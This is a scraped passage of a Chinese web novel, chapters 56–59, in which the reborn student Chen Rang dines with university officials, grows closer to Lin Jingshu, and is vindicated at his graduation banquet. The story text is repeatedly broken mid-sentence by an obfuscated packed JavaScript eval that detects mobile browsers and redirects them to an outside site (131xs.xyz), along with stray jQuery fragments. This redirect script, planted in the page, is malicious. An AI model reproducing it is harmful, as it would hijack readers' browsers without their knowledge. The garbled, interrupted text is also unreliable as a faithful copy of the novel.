“陈让，林同学走到哪儿了？” “孙校长，她应该也快到了的，要不我去接下她？” 孙柯摆了摆手，示意陈让赶快去。 陈让的成绩，终究差了林静姝不少，所以他还是更重视林静姝。 当然中间的差距，已经变得很小很小了——谁让陈总是个91年的资深老绿茶，贼会讨他欢心呢。 陈让起身出门。 前脚刚走、孙柯就笑呵呵跟的李凤琴和陈立青说： “家长，你们这宝贝儿子，可真了不得，把咱们招生办的工作都给做了——” 见两口子面露不解，孙柯接着解释： “陈让把德州市的高考状元、考了全省第五的林静姝同学，一道拐进了咱们蜀大的经济学院啊。” “我主管招生工作五六年，可是头一次招到全省前五的学生！” 李凤琴跟陈立青都有些懵。 林静姝是谁？ 没听儿子提过啊。 郑舟乐呵呵的接过话茬儿。 “老孙，说起来、陈让跟林静姝同学，在我们德州一中，那也是段佳话。” “高考前大概一个月吧，我就听到些风声，说这两小只在谈恋爱，当时大多数老师的意见，是要主动干预的——还是我力排众议，没有过多的去干涉。” 孙柯笑眯眯的样子：“老郑，这一点你做得很好嘛，少年慕艾、人之常情，我们做师长的，本就不该过多干预，听说陈让同学的成绩，是短短一个月提上来的，这里面指不定还有林同学的大功劳，大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528483|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是孔老夫子说的、见贤而思齐吧。” 郑舟也跟着笑：“见贤而思齐……老孙，你这话有水平啊！” 李凤琴跟陈立青夫妻俩，此时听得更是云山雾罩。 听孙副校长和郑校长话里话外的意思，儿子跟这个叫林静姝姑娘，这是在谈恋爱的节奏啊。 不对啊，那老夏家的灵珊呢？ 两口子可都已经把夏灵珊、当成半个儿媳妇了。 尤其李凤琴，对夏灵珊可是打心眼的喜欢。 一念至此，还没见到林静姝，李女士就先对她带上三分敌意。 成绩好怎么了，关键还是要长得漂亮。 这个叫林静姝的姑娘、必不可能有灵珊那么水灵的！ 正想到这里，包厢门开了。 陈让先进包厢，林静姝随后。 学神少女毕竟还是社恐。 进了包间后，下意识板着鹅蛋脸。 唯有看向李凤琴时，才努力挤出一个笑脸。 虽然对什么是喜欢，什么是谈恋爱，林大美人还是懵懂。 但潜意识的、还是想给李凤琴留下一个好印象。 李女士看着林静姝，惊艳到大脑一片空白。 灵珊足够漂亮，跟眼前这个空灵少女比，却又真的比不了。 无论颜值、身材还是气质，都有差距。 单拎一个出来，差距还不明显。 综合起来，就是肉眼可见的不如。 陈立青也不由倒吸凉气。 这闺女儿，漂亮到过分了。 他对夏灵珊、倒没什么未来儿媳滤镜。 甚至觉得、老夏家的女儿，其实没有那么的适合儿子。 包厢中所有人——尤其陈让父母——都在盯着自己，林静姝非常的不好意思。 小手绞着衣角，脸颊有些绯红，像是晕着两朵桃花。 陈让及时开口：“孙校长，林同学来了，可以上菜了吧？” “对对对，赶紧上菜——” 孙柯呵呵一笑，冲包厢中候着的服务员摆了摆手。 有郑舟跟陈让、大小两个专业捧哏，真吃起来以后，饭局氛围还是挺好的。 林静姝也颇有些食欲，吃得小嘴巴油嘟嘟。 有陈让在、她都用不着多说话。 偶尔孙柯问她问题，陈让也会给她简化成点头和摇头，“是”或“不是”，就很舒服。 应该是喝了点酒的缘故，李凤琴跟陈立青两口子，也不那么拘谨了。 李女士终究还是好奇、儿子跟这个叫林静姝的少女，到底什么关系。 饭局进行到一半，她按捺不住了，跟林静姝聊起了天。 “姑娘——” “阿姨，你可以叫我呦呦……” “呦呦，你跟陈让，现在是……” “阿姨，我们是好朋友。” “好朋友啊，那你们暑假时，是不是经常一起玩？” “嗯。” “都玩些什么呀？” 李凤琴打开话匣子就停不下来了。 林静姝努力组织着措辞，掰着手指跟李女士说了起来。 “散步、游泳、吃东西、打电动……” “还有没有玩别的？” 李女士继续套话。 林静姝仔细想了想后，明媚的桃花眼骤然一亮。 “阿姨，有的呢，陈让有时候、会玩我的脚。” 包厢原本很热闹。 觥筹交错，笑声朗朗。 学神少女说完这番话后，瞬间安静如死。 刷刷刷—— 众人目光、悉数落到陈让身上。 自诩脸皮城墙加倒拐的某人，当场红温，尬得批爆。 生理性去世倒也不至于，但是社会性死亡绝对达标了。 陈总现在只希望三体人快点打过来——毁灭吧，赶紧的，老子好累。 第57章 可爱到发芽 第五十七章可爱到发芽 见包厢内所有人表情都变得古怪，林静姝就很奇怪。 虽然搜索引擎告诉她，好朋友之间，原则上是不可以玩对方脚的，但是都好朋友了，偶尔突破一下原则，又有什么问题？ 看吧，这就是学神少女的含金量，逻辑链一直很自洽！ “哈，呦呦同学，你真会开玩笑——” 陈总开始干笑。 刚才他的确很尴尬，觉得自己怕是要社会性死亡了。 但是陈总也很快找到了让自己不尴尬的方法。 很简单，给自己洗个脑就行。 讲道理嘛，物质是运动的，世界是变化的，玩林静姝脚的，是一个月前的自己，那么跟现在的自己，有什么关系呢？ 要尴尬、那也是以前的自己尴尬啊。 诡异的安静，大概持续了十秒，然后孙柯跟郑舟，俩老室友便都露出了姨夫笑。 都过来人，懂的都懂。 正如方才郑舟所言，少年慕艾，人之常情。 人孔老夫子还说过呢，饮食男女，人之大欲。 李凤琴则狠狠剜了正疯狂给自己洗脑的某人一眼。 意思很明确——回家了再慢慢收拾你！ 陈立青却是暗戳戳给了陈让一个赞许眼神。 大概是在说，儿砸，没白养你十八年啊，都会拱白菜了！ 又半小时后，饭局结束，宾客尽欢。 陈总把情商拉满后，给孙副校长舔得就很舒坦。 通常这情绪价值一到位吧，酒量就会变好，孙柯半斤白酒的量，结果今晚喝了整整一斤。 陈总这边肯定也达到了“既定战略目标”——给孙柯这位蜀大的常务副goat，留下了非常好的印象。 此时孙副校长显然还没有意识到，陈总这种无利不起早的货、就不可能白舔，他迟早会被薅秃噜皮。 他要提前知道，大抵会很唏嘘的感慨一句吧。 “所有命运女神的馈赠，都在暗中标好了价格。” 值得一提——饭局结束后，林静姝把装着翡翠手镯的盒子，送给了李凤琴。 盒子装着的，李女士倒也没多想，以为只是件小礼品，顺手也就收下。 回头再叫儿子回礼就是了。 所谓“礼尚往来”，不就得有来有往。 李女士还是更倾向夏灵珊当她的儿媳，这位叫林静姝的小姑娘，却也挑不出任何毛病。 该选哪个？ 要不都——咳，这个就算了，犯法的。 陈总此时正忙着帮喝多了酒的孙柯和郑舟叫车，完全没注意到这一幕。 否则高低会把盒子打开看一看的。 把孙柯跟郑舟送走后，陈让又给同样喝了酒的爸妈叫了车，让夫妻俩先回家。 至于他自己——林大小姐吩咐了，也要把她送回家。 父母走后，陈让跟林静姝并肩而行。 今晚月色怡人，仿佛霜雪，前方道路十分明亮，却不是月亮的光线，而是劳斯莱斯幻影柔和的近光灯。 陈总就挺der。 刚才林静姝说要他送回家，他还以为，她是自己打车过来的，结果孟叔一直就在楼下。 所以这位大小姐脑回路到底怎么长的啊？ 放着“劳子”不坐，非要跟自己“甩火腿”，从蜀香楼一直走到旌湖路。 然后走没几步，林大小姐就不走了，嘟着嘴巴看着某人。 陈让疑惑：“怎么啦？” 林静姝伸出柔夷，俏生生的说：“陈让，牵。” 所以说，女孩子真的喜欢你呢，就不可能抗拒跟你发生肢体接触，甚至解锁一个动作后，就会乐此不疲。 毕竟柏拉图只会产生精神病，绝对不会滋生爱情。 爱情这玩意儿的本质，乃是最原始的、人类繁衍后代的本能反应。 陈总有些怂，没敢牵，指了指两人身后的孟叔。 林大小姐笑了笑：“陈让，你放心，孟叔是我爸爸的人，他又最疼我，不会跟我妈妈告密的。” 陈让嘴角抽了抽：“所以说……你也知道跟我牵手，你妈妈会炸毛的。” 也不知道是不是错觉，这一刹那，陈总分明有种感觉，某位学神少女在跟他揣着明白装糊涂，借着好朋友的名义在占他便宜。 林静姝再次撅起嘴巴：“陈让……那是因为……我妈妈根本就不知道、什么叫真正的好朋友！” 陈让反问：“林呦呦，那你觉得什么叫真正的好朋友？” “就像我们这样啊——”学神少女掰着手指，满脸认真地说，“一起吃饭，一起散步，一起游泳，一起打电动，可以牵手，偶尔……也可以给你玩我的脚啦。” “这个——” 陈总嘴角继续抽，觉得自己刚才应该是想多了。 她肯定不是揣着明白装糊涂——明明是最高明的猎手却伪装成猎物。 这位大小姐，在男女方面，就是个24K的天然呆。 “林呦呦，我是玩过你的脚，以后也还想继续玩，但是这件事——你以后不许在其他人面前提！” “唔……好吧，所以……我刚才说错话了吗？对不起嘛，我不是故意的。” 此时的学神少女，眼中满满都是歉意。 陈让看着，心脏不由的、又很不争气的漏了一拍。 某人开始自责。 陈富贵啊陈富贵，你这狗比也真是的，明明是你自己色迷心窍，怎么能反过来怪她嘴巴不严实、让你社会性死亡呢？ 她明明什么都不懂的。 “咳，倒也不算说错话……” 林静姝顿时舒了口气。 又满是希冀的、再次伸出了手。 “陈让，牵。” “It’s-my-pleasure，Your-Highness（这是我的荣幸，公主殿下）。” 陈总能怎么办呢，只能满足她。 讲道理的话，好朋友的确是可以牵手的。 开车的孟叔，看着这一幕，抑制不住的、露出了姨夫笑。 别说，还真别说，这两个小家伙，那是真的挺好磕啊。 他在林家当了二十年司机，林静姝的确是他看着长大的。 所以他能够清晰感觉到，大小姐认识陈让后，发生了哪些改变。 身上的沉郁和阴霾，正在逐渐褪去。 伪装成高冷的保护色，也不再那么浓烈。 身上有了这个年龄段的少女，应该有的活泼和俏皮。 他挺欣喜大小姐能有这样的改变，所以在接到宋臻电话，问他林静姝有没有立刻回家时，孟叔果断撒了个小谎，说大小姐已经到家了，正在洗漱。 反正又不是宋总给他发工资——他这个可不算违反职业操守。 半个小时后，陈让把林静姝送到了林家豪宅的大门前。 “安啦，回去洗漱后早点睡吧……我也要打车回家了。” 松开某位学神少女柔若无骨的小手后，陈让跟她挥手告别。 “陈让，你先别走，我能再问你个问题吗？” “你问啊。” “什么是谈恋爱？” “额……你为什么突然问这个了，再说你不是很喜欢用搜索引擎么，答案网上肯定有的啊。” “有，但是我看不明白，网上说，谈恋爱就是两个人之间建立感情关系、发展亲密关系，并表达出彼此的爱意和情感。” 学神少女眼中满是疑惑，“可是这些，好朋友之间也都是可以的啊。” 陈总按了按眉心：“所以，你想问的是，好朋友跟恋人之间的区别？” 林静姝不住点头：“嗯呢。” “林呦呦，那你先回答我，为什么会想知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528484|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “因为妈妈不准我跟你谈恋爱吖，不然就要立刻送我出国，我又不知道什么叫谈恋爱——就想先弄明白。” “这样啊——” 陈总沉吟着，微微皱起眉头。 他能够理解一位母亲，对自己天然呆女儿的浓烈保护欲。 但是宋女士把这些东西放到台面上，该不爽陈总一样会不爽。 虽然现在还没有跟某位女士正面抗衡的实力，他也不是那种会去螳臂当车的夯货，但是陈总也有自己的骄傲。 天日之表！ 龙凤之姿！ 未来大帝！ 跟你开玩笑的哟？! 凭什么某位女士，就笃定他陈富贵、这辈子都甭想配得上她女儿？ 得勒，既然如此，那陈总还真就跟你宋女士卯上了，也不用三十年河东三十年河西，顶天三五年，到时咱们再来好生比划比划！ 一念至此，陈让笑着跟林静姝说： “呦呦同学，好朋友跟恋人，肯定是有区别的，但就眼目前咱俩的实际状况而言，其实也可以说是没有区别——你妈妈不让咱俩谈恋爱，那就先不谈呗，当好朋友不也挺好的么。” “先不谈——” 说林静姝聪明呢，她有时候就挺呆。 说她笨吧，她往往又能把握到关键点。 “陈让，你的意思是说，我们以后就可以谈恋爱了对吧，那要到什么时候呢？” “三年？或许还能更短一点——如果你真想试试的话。” 陈让仔细思考后，给出回复。 林家和宋家，都是那种真正的“Old-Money”，并不是单纯有钱那么简单。 即便是前世功成名就的他，跟林家和宋家，也差着至少两个档次。 也就是说，如果宋女士真铁了心，要横在他跟林静姝中间，那陈总还有很长的路要走。 好在他跟林静姝都还年轻，不缺这个时间。 作为一个重生者，陈总也有足够的信心，爬到远超前世的高度。 陈让真的不急。 前世被夏灵珊PUA到“爱无能”的他，承蒙上苍眷顾、有了再来一次的机会。 这一世的他，或许不能像真正少年那般热烈。 却有足够多的真诚，细水长流的、去经营一份真正的感情。 林静姝这样的宝藏女孩儿，也值得他这么去做。 “三年啊。” 林静姝不由皱眉。 “有什么问题吗？” “陈让……其实能跟你做一辈子的好朋友，我就很满足很开心了，但是我怕……” “怕？” “怕你跟别的女孩子谈恋爱。” “……” 陈总哑然失笑。 呵，女人。 即便是林静姝这样的天然呆，潜意识的、也会有这样的担忧。 “这确实是个问题。” 陈让表情变得一本正经。 “毕竟我长这么好看，进了大学后，也不知道会有多少女孩子喜欢我，要万一没能把持住……” 他就是单纯想逗一逗林大美人。 路灯灯光下，林静姝明丽的桃花眼、却是蓦地泛起水雾。 “陈让，你不要跟别的女孩子谈恋爱好不好？你这么好的，进大学后，一定会有很多女孩子喜欢你，但是……她们必不可能有我这么喜欢你。” “咳——” 意识到自己说错话后，某人赶紧握住了学神少女有些冰凉的小手。 “呦呦同学，我刚才跟你开玩笑的，我陈富贵现在郑重向你承诺，必不可能跟别的女孩子谈恋爱，但是你也得答应我一件事。” “富贵同学，什么事？” “千万不要淋雨。” “为什么？” “你太可爱了，我怕你淋雨后会发芽。” 第58章 升学宴那些事儿（1） 第五十八章升学宴那些事儿（1） 陈让回到家时，都快午夜十二点了，平日里生物钟非常健康、十点钟前肯定会睡觉的老妈却还没睡。 李女士坐在沙发上，等陈让一进门，来自老母亲的审视目光，便勾勾的落在他身上。 陈总当然知道老母亲审视自己的原因，不过他装作不知道，嬉皮笑脸的说： “哟，母上大人这么晚还没睡觉，是在等孩儿归家与你请安吗？但是咱家这种贫下中农、就没必要学他们老正黄旗的臭毛病了吧……” “儿子，你站着别动，我刚买了根鸡毛掸子，试试质量怎么样……” 李凤琴冷冷的说，顺手还真就抓起了根鸡毛掸子。 陈让赶紧认怂：“母上大人息怒，且听孩儿与你狡辩……” “喵喵喵？” “咳，嘴瓢了，妈，你听我解释……” “那你说说吧，那个叫林静姝的小姑娘，怎么回事儿？” 陈总组织一番措辞，囫囵大概的、把能说的都说了一遍。 “陈让，你俩……真就是好朋友？” 李凤琴满脸的狐疑。 从她对某人的称呼，从“儿子”变成了“陈让”，完全看得出来，她还是挺重视这件事情的。 陈让瘪瘪嘴：“妈，那不然呢，人家什么家庭，上了学都是劳斯莱斯接送的，你儿子我凭什么去触碰啊。” 李凤琴哭笑不得：“你小子……真这么有自知之明？呵呵，你就继续骗你妈吧，别忘了谁把你生出来的，人家姑娘那么水灵，对你还百依百顺，我就不信你小子不上头！” 陈让继续瘪嘴：“切，不信算了，你儿子我就主打一个人间清醒！” 好吧，所谓“知子莫若母”，对林静姝，他的确是上头了，但是有些客观层面的东西就横亘在那里，也不是说抹平就能抹平的。 所以他跟林静姝最好的相处方式、就是顺其自然，然后把答案交给时间。 情不情、爱不爱的，毕竟不是生活的全部。 陈总知道什么叫“物质基础决定上层建筑”，更知道“世上最无用的东西、便是男人一无是处时候的真心”。 上大学后，他会抽出部分时间和精力陪伴林静姝，但主线肯定还是搞事业。 要不然呢？ 换位思考一下，要他是林静姝的父母，也不可能把宝贝女儿，嫁给一个“穷措大”啊。 此时李女士却是话音一转：“儿子，那灵珊呢，你以前不一直挺喜欢灵珊的么？这是见异思迁了，还是跟灵珊之间，有了什么误会？” 陈让翻了个白眼：“妈，不是见异思迁，也不存在什么误会，就是觉得不适合，您也别问为什么不适合，反正不适合就是不适合。” 李女士还了个更大的白眼：“臭小子，搁这儿跟你妈说顺口溜呢？我也不是咸吃萝卜淡操心，非要管你的事，妈是怕你跟林静姝、搞到最后，落得个镜花水月一场空，还把自己给伤了……” 陈让笑了笑：“妈，你儿子我哪有这么脆弱的？” 李凤琴摆摆手：“屁，有些东西属于是遗传，你们老陈家就净出情种，你二叔不就因为一个上海姑娘，搞得终生不娶？还有你爸、当年也苦等了一个女人好几年，也就是他运气好，碰到了老娘我……” 陈让立马来了兴致——有瓜吃的节奏啊。 “妈，这事儿我还真没听你讲过，感情我爸当年还有个白月光？” “什么白月光？” “意难平呗，男人心头那个寤寐思服、求而不得的人儿。” “那倒也不算，你爸当年，跟那个女人，算是情投意合吧，只是最后因为一些阴差阳错，没有走到一起，倒也没有什么棒打鸳鸯的烂俗戏码，那个女人成绩非常好，考上了北京的大学，你爸成绩要差些，只能留在川内，后来还去了部队……” “中间通了几年信，然后那个女人留在了北京发展，你爸去不了，两人就断了呗……那些信你爸现在都还留着呢，隔一两年就换个地方藏，他也不想想，咱家就这么大，什么犄角旮旯瞒得过你妈我？” “额……”陈让脸颊抽了抽，“妈，你这属于是高情商啊，看破不说破……但是，您心里就不膈应？” “噗——”李凤琴笑了笑，“这有什么好膈应的？那个女人出现在我跟你爸认识之前，你爸跟我谈恋爱以后，也就再没有跟她联系过……至于那些信，他爱留着就留着呗，毕竟那是他生命中、真实存在过的人和事，不是说抹掉就能抹掉的。” 陈让听着，忍不住比了比大拇指。 “妈，我爸这辈子能娶到你，他上辈子肯定拯救过银河系！” “儿子，你这话我爱听，以后可以多说点！” 李凤琴忍俊一笑后，拿出了饭局散场时、林静姝送给她的那个黑盒子。 “对了，儿子，刚才你去送孙副校长跟郑校长时，呦呦送了我一个玉镯子，说是她妈妈吩咐的，那咱们家得回礼啊，你先瞅瞅，这镯子大概什么价位。” 陈让接过，打开盒子，仔细看了后，不由皱眉。 李女士不识货，但他看得出来啊——这可是上好的冰种翡翠。 没有大几十万，拿不下来的。 哪有初次见面，就送同学母亲这么贵重礼品的？ 显而易见，这是宋臻给他们家挖的一个坑。 普通人家，哪来的能力，回差不多价位的礼物？ 硬着头皮收下不回礼，那是不懂礼数。 回礼吧，不得砸锅卖铁？ 至于把镯子退回去——不也同样丢脸？ 还好陈总暑假没闲着，炒股赚了差不多一千五百万，电玩城投资了两百多个，还剩下一千三百多个呢。 宋臻挖的这个坑，不至于真把他埋了。 但是这件事本身，却让陈总非常的不愉悦。 因为他能清晰感受到、宋臻挖这个坑时，从骨子里散发出来的不屑和傲慢。 陈让觉得宋女士这事儿，做的挺没品，并不符合他对“Old-Money”的认知。 不过这也反向说明了、宋女士其实也没有那么的高段位。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528485|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晃了晃脑袋后，陈让不动声色放下盒子，跟李女士说，这镯子确实不便宜，怕得好几大千，甚至上万。 “这么贵啊？”李女士吓了一跳，“儿砸，那回头妈去给你取一万，你看看买个什么作为回礼，送给呦呦的母亲。” 老陈家不算富裕，但好歹也是双职工家庭，且两口子这些年都省吃俭用的，百来万存款倒是有的。 拿个一两万闲钱出来，不至于伤筋动骨。 陈让摆了摆手。 “妈，这事儿我自己掂量着办吧，钱就不用给我了，我有钱的。” “也是，你小子手里有十多万呢。” 李女士倒也没多想。 她说的这十多万，是指陈让高考结束后、市里面和区里面发的奖金。 两口子倒也想过，叫陈让交出来、给他们存着——怕他乱花。 但是陈让表示不肯，夫妻俩也就没再问他——老陈家的家风向来开明。 …… 时间线进入八月份后，准大学生们，就开始觉得时间过得快了。 一家接一家的吃升学宴，一场接一场的同学聚会…… 陈立青跟李凤琴夫妻俩，也给陈让张罗了一场升学宴，摆了大几十桌。 陈让倒是劝过两口子，摆什么升学宴啊，咱不淘这个神好不好？ 夫妻俩态度却很坚定。 办，一定得办！ 儿子考得好，广邀亲朋好友、吃吃喝喝装装逼，满足一下中年人朴素的虚荣心，倒是其次的。 主要原因更加的朴素——两口子这些年随了多少礼出去啊，不得借此机会收回来。 错过了这个机会，下次老陈家再摆宴席，得等到陈让结婚，这不猴年马月了？ 两口子坚决要摆，那就摆吧。 地点定在了德州一家中档酒店，升学宴当天，一大早陈让就起来了，倒腾的人模狗样，然后服从老父亲和老母亲的指挥，站在酒店大堂处迎宾，当一个无情的收红包机器。 爷爷奶奶和外公外婆两边的直系亲属，陈让肯定是认识的。 譬如穿着打扮像个文艺中年、本质上也真是个文艺中年的二叔陈康。 至于为什么陈立青叫陈立青，他弟弟却叫陈康——兄弟俩这名字取得完全就不搭。 其实是个乌龙。 老陈本来叫陈靖，兄弟俩连起来就是“靖康”，结果陈让爷爷去派出所录名字时，那位办事员眼瞟了，把“靖”字看成了“立青”。 陈康一来就给了陈让好大个熊抱，然后指着个年纪指不定还没陈让大的麻花辫小姑娘，让叫婶婶。 搞得陈总就很der。 二叔的确是个情种，也的确为那个上海女人终生不娶了，但这丝毫不影响二叔感情生活的多姿多彩啊。 陈总做了一番心理建设后，叫了麻花辫小姑娘一声“婶婶”。 本来是不愿意叫的。 但是二叔抬手就是个大红包，摸摸厚度、得有五六千。 陈总觉着吧，自己可以不尊重二叔，但是必须尊重资本！ 第59章 升学宴那些事儿（2） 第五十九章升学宴那些事儿（2） 陈让爷爷奶奶名下，除了陈立青和陈康兄弟俩，还有个小女儿叫陈淑，也就是陈让的小姑。 小姑三十出头，见了陈让、同样给了他一个熊抱，甚至还吧唧亲了他脸颊一口。 陈总其实反抗了的，但是反抗失败。 俗话说得好，“姑亲侄、亲上亲，打断骨头连着筋”。 小姑也给了陈让一个大红包，比二叔只多不少。 从种种细节就看得出来，陈让跟老陈家这边的亲人，关系都挺好。 老陈家是个温馨的大家庭。 不过陈让跟老妈那边的亲人，关系就有些疏离。 和外公外婆倒也亲。 但是外公前几年去世了。 外婆年事已高，腿脚也不方便，今天压根就没来。 来得是两个舅舅、两个舅妈，以及陈让的表哥表姐们。 没有表弟和表妹——李凤琴是老幺，外公外婆名下的孙子辈，陈让就是最小的那一个。 至于陈让为什么跟两个舅舅不亲——皮裤套棉裤，肯定有缘故呗。 因素是多方面的，但始作俑者，绝对就是陈让的大舅妈。 有个事儿陈总一直记得—— 他外公死得早，每年大年初二，一家子到了外婆家，都要去给外公扫墓，地方有些远，需要坐车。 有一年上坟，李凤琴已经上了大舅的车，却被大舅妈生生拽了下来——因为大表哥带了个女朋友回来，也想跟着去。 这事儿气得李女士好几天都吃不下饭，甚至差点跟大舅断绝兄妹关系。 回家后陈立青就张罗着要买车了——以陈让家的条件，咬咬牙、买个十几二十万的车，倒也是能买的。 李凤琴有些意动，仔细斟酌后，却还是给否了。 家里是有些存款。 但是这些钱，可都准备给陈让留着的。 儿子一天天大了，以后结婚生子、指不定还需要在大城市买房，哪样不需要花钱？ 要不说“可怜天下父母心”，李女士宁愿自己受委屈，也不想让儿子出社会后、活得太艰难。 扯回升学宴——把直系亲属除开，其他远房的亲戚，陈让就有些笃不定了，甚至有些都不知道该怎么称呼。 好在爸妈就在身旁，有两口子提点，陈总倒也没有失了礼数，该叫人叫人，该散烟散烟。 中午十二点整，宾客们差不多到齐后，升学宴正式开始。 陈让本打算坐二叔跟小姑那一桌的，却被大舅硬生生拽去了他那一桌。 虽然不喜欢大舅，但是大舅摆出自己“娘亲舅大”的架势，陈总却也拿他没办法。 毕竟外婆还在，许多事情，都要不看僧面看佛面。 大舅这一桌，坐的基本都是老妈那边的亲戚，陈让最讨厌的大舅妈也在。 吃饭吃到一半，大舅妈突然开了口：“陈让，光吃你的升学宴，都不知道你小子考得好不好啊，说说呗——” 此话一出，其他亲戚，基本都停了筷子，直勾勾看着陈让。 “这个吧……”陈让扯了扯嘴角，“大舅妈，我考的……倒也还行。” “真的假的？”大舅妈一脸的狐疑，“我看其他家办升学宴，那些真考得好的，都要拉横幅呢。譬如我娘家有个侄子，今年考了六百五十多，我老家镇上的第一名，那横幅可鲜艳了，吃饭吃到一半，镇长都过来道喜了！” 陈总嘴角继续抽：“大舅妈，横幅什么的，也太张扬了吧，我们家的情况你是知道的，要低调……” 其实承办陈让升学宴的这家酒店，也曾找陈立青商量过，说陈主任、给咱家公子也拉个横幅呗，咱家公子可是旌湖区的状元啊，只要横幅拉起来，升学宴的所有费用，我们酒店打七折！ 酒店这么说嘛，自然是想借此机会，打个广告呗。 来来来，都看过来，旌湖区状元郎都在我们家办升学宴，大家伙儿有什么理由不来？ 陈立青倒也有过心动，但是仔细斟酌后，还是给否了。 他们两口子，一个体制内，一个事业编，没必要搞这么张扬。 “切——”大舅妈继续蛐蛐陈总，“陈让，你小子年纪不大，口气倒是不小啊，你们家什么情况啊，你爸扯破天，也就是个街道办主任，还是个副的，有什么好低调的？别看你大舅不是当官的，认识的当官的，那可多了去，哪个不比你爸官儿大？” “……” 陈让努力平息着心头无名火，甚至开始给自己洗脑。 路上被条母狗咬了，未必还要咬回去啊。 如此这般，才没有当场发作。 “大舅妈，您说的对，回头我鞭策一下我爸，争取退休前、好歹混个副处……” “那估计悬，你爸能上处级，还等得到现在？” 大舅妈依旧满脸的不屑，接着却又把话题扯到了陈总身上，那张油嘟嘟的嘴巴，跟个机关枪似的，哒哒哒的不停。 “陈让，你扯东扯西的，这次高考到底考得怎么样啊？过年时听你妈说，你上高中后成绩下滑挺大的……” “我说你小子，不会连本科都没考上吧？要真是这样，那连你大表哥当年都不如啊……你说你初中时成绩多好，俨然就是我们老李家未来的希望……现在呢？还真就是应了那句话，小时了了，大未必佳！” 她这番话一出来，桌上许多亲戚，目光都齐刷刷落在了陈让身上，伴随窸窣的议论，带着叹息的摇头。 陈让：“……” 没记错的话，大舅妈初中都没毕业吧。 怎么蛐蛐他时、连《世说新语》都整上了？ 难道这婆娘是有备而来——譬如专门翻过书——就为了落他家面子？ 妈拉个巴子，其心可诛啊！ 要真如此，那陈总就必须得给这八婆上上课、来波“龙王归位”了！ 但是自己主动把高考成绩爆出来，会不会落入“主动装”的窠臼，失了未来大帝的体统？ 就很烦！ 便在此时，陈立青过来了，拉着陈让，叫他去门口迎接几个重要的客人。 陈让嗯了一声，正准备起身，大舅却不乐意了，冷着脸把酒杯磕在了玻璃桌上。 “立青，多重要的客人啊？没见陈让在跟我吃饭的么。你自己去接，陈让就在这儿，你的朋友是朋友，我们家凤琴这边的亲戚就不是亲戚了？” 陈立青赶紧赔笑：“大哥，你别生气，我不是这个意思……但是……这几个客人，来头还真就挺大的，您多担待……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15528486|170784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “噗——”大舅哂然一笑，“再大能有多大啊？陈让大表哥当年办升学宴，我们县的县长都来了的，怎么的，未必你还能把区长、甚至市长请来？” 陈立青继续赔笑脸：“大哥，不是我请的……不过我们旌湖区的区长还真来了，市长肯定不现实，但是来了个主管教育的副市长……” 大舅瞬间der了，满脸的诧异：“立青……你……你没开玩笑吧？” 他是了解陈立青的，老实人中的老实人，绝不可能撒谎的。 正因为如此，他才会如此诧异。 零九年这个时间节点，倒还没有“八项规定”。 但体制内，官越大越需要避讳。 陈立青不过是个高配正科级的街道办副主任，他儿子办个升学宴，能请来区长和副市长？ 这不扯犊子么！ 人家凭什么来啊，不怕人嚼舌根？ 陈立青耐心解释。 “大哥，我能是开玩笑的人么？都说了，领导们不是我请来的。我们家陈让，这次高考倒还算不错，考了个全市第三，旌湖区第一。刘副市长跟钱区长，是专门过来送匾和道喜的！” 大舅：“……” 大舅妈：“……” 一众亲戚：“……” 突然就很尴尬。 菜也不香了，酒也不醇了。 陈让看着桌上众亲戚的微表情——尤其是嘴巴张大的大舅、以及脸红的像猴子屁股的大舅妈——心想你陈总受过专业训练的，再好笑都不会笑。 然后就“库库库”的笑了，伴随肩膀不住的抽搐。 “龙王归位”这玩意儿，烂俗归烂俗，却架不住嗷嗷爽啊。 被陈立青瞪了一眼后，陈让敛了笑容，起身跟自己的老父亲、去接几位大领导了。 领导们送完匾、整了几句场面话后，便直接离开，别说吃饭，水都没喝一口。 这个过程，却不知道惊掉多少眼球。 许多人都抑制不住感慨，陈立青和李凤琴两口子，这是生了个麒麟儿啊！ 